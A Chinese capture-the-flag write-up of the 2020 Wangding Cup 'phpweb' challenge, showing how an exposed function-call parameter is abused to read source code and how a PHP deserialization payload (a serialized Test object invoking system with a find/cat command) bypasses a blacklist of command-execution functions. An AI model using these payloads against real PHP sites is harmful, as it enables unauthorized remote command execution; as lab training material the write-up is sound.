[网鼎杯 2020 朱雀组]phpweb

打开靶机后发现页面上有一段警告信息

并且上面的时间会随着当前时间的变化而变化

访问页面源代码发现有两个传参点

html 复制代码
<p>2026-01-30 06:45:30 am</p>
<form id=form1 name=form1 action="index.php" method=post>
  <input type=hidden id=func name=func value='date'>
  <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</form>

这里定义了func参数是一个接收函数,p参数是函数执行后的内容

抓包后发现传入点在请求体中

调用 PHP 中的 file_get_contents 函数读取源代码

题目提示这个网站是用php搭建的

那就尝试构造payload

html 复制代码
func=file_get_contents&p=index.php

file_get_contents()函数

file_get_contents() 函数在文件操作中的主要作用是读取本地文件的内容。

发现成功读取到源代码

对源代码进行代码审计

php 复制代码
$disable_fun = array(
    "exec ", "shell_exec ", "system ", "passthru ", "proc_open ", 
    "show_source ", "phpinfo ", "popen ", "dl ", "eval ", ... // 共30+个危险函数
);
if (in_array($func, $disable_fun)) {
    die("Hacker...");
}

过滤了多个能进行命令注入的函数

并替换成空格收尾

php 复制代码
class Test {
    var $p = "Y-m-d h:i:s a ";
    var $func = "date ";
    function __destruct() {
        if ($this->func != " ") {
            echo gettime($this->func, $this->p); // 动态调用函数
        }
    }
}

function gettime($func, $p) {
    return $func($p); 
}

**__destruct()**在对象销毁时自动触发

gettime() 会执行 func( p),即可控函数调用

利用反序列化进行绕过

黑名单只检查初始func参数,但反序列化后对象属性中的system不会被二次校验

构造一个本地Test对象并以序列化进行输出

php 复制代码
<?php
class Test {
    var $p = "cat $(find / -name flag*)";
    var $func = "system";
}
$testObject = new Test();
$serializedResult = serialize($testObject);
echo $serializedResult;
?>


#O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

利用unserialize函数进行反序列化注入

payload如下

php 复制代码
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

flag{cb6ecf44-2a91-4410-93ec-d53d62844c7f}

参考

2.网鼎杯 2020 朱雀组phpweb

相关推荐
学习星球13 分钟前
空天地一体化网络(NTN)深度解析:从Starlink D2C到3GPP NTN,卫星直连手机是如何实现的?
网络·人工智能·算法·智能手机·php
郑州光合科技余经理15 小时前
本地生活服务系统:模块边界与结算字段怎么拆
java·开发语言·前端·后端·系统架构·uni-app·php
2601_9620725017 小时前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
Patrick在香港18 小时前
Python 拉取城巴开放数据:406 条路线,香港岛巴士网络的数字画像
网络·python·数据分析·php·数据可视化·香港·开放数据
吴声子夜歌1 天前
Java——开发中通用的方法和准则(二)
java·开发语言·php
2601_962065491 天前
PHP For 循环
android·java·php
2601_962065491 天前
interface GigabitEthernet0/0/0
服务器·php·apache
虎王物联1 天前
PHP Swoole实现物联网MQTT数据订阅与WebSocket实时推送
物联网·mqtt·websocket·php·swoole
XR1234567882 天前
办公网自主创新建设怎么选?信创办公场景的选型逻辑
开发语言·php
CRMEB2 天前
不懂设计也能有精美商城?CRMEB 主题广场与可视化装修的“千店千面“实操
人工智能·ai·小程序·开源·php